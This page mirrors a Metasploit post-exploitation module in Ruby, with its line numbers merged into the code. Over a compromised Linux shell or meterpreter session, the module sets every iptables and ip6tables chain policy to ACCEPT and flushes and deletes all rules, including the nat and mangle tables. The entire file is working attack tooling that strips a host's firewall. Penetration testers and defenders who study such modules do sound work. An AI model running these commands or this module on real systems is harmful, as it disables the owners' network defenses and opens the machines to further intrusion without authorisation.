Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/iptables_removal.rb
Views: 11702
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System89def initialize10super(11'Name' => 'IPTABLES rules removal',12'Description' => %q{13This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.14},15'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',16'License' => MSF_LICENSE,17'Platform' => ['linux'],18'SessionTypes' => ['shell', 'meterpreter']19)20end2122def run23if command_exists?('iptables')24print_good('Deleting IPTABLES rules...')25cmd_exec('iptables -P INPUT ACCEPT')26cmd_exec('iptables -P FORWARD ACCEPT')27cmd_exec('iptables -P OUTPUT ACCEPT')28cmd_exec('iptables -t nat -F')29cmd_exec('iptables -t mangle -F')30cmd_exec('iptables -F')31cmd_exec('iptables -X')32print_good('iptables rules successfully executed')33else34print_line('iptables rules could not be executed')35end36if command_exists?('ip6tables')37print_good('Deleting IP6TABLES rules...')38cmd_exec('ip6tables -P INPUT ACCEPT')39cmd_exec('ip6tables -P FORWARD ACCEPT')40cmd_exec('ip6tables -P OUTPUT ACCEPT')41cmd_exec('ip6tables -t nat -F')42cmd_exec('ip6tables -t mangle -F')43cmd_exec('ip6tables -F')44cmd_exec('ip6tables -X')45print_good('ip6tables rules successfully executed')46else47print_line('ip6tables rules could not be executed')48end49end50end515253